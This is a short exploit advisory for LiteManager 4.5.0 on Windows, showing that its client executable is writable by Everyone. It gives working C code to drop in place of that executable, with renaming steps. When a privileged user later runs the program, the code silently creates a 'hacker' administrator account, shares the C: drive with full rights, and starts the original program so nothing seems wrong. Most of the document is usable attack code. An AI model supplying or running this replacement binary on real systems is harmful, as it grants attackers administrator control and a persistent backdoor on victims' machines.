LiteManager 4.5.0 Insecure File Permissions

`# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions  
# Exploit Author: ZwX  
# Exploit Date: 2019-11-21  
# Vendor Homepage : LiteManager Team  
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support  
# Tested on OS: Windows 7   
  
  
# Proof of Concept (PoC):  
==========================  
  
  
C:\Program Files\LiteManagerFree - Server>icacls *.exe  
ROMFUSClient.exe Everyone:(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
  
#Exploit code(s):   
=================  
  
1) Compile below 'C' code name it as "ROMFUSClient.exe"  
  
#include<windows.h>  
  
int main(void){  
system("net user hacker abc123 /add");  
system("net localgroup Administrators hacker /add");  
system("net share SHARE_NAME=c:\ /grant:hacker,full");  
WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);  
return 0;  
}   
  
2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"  
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory  
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE.   
Privilege Successful Escalation  
`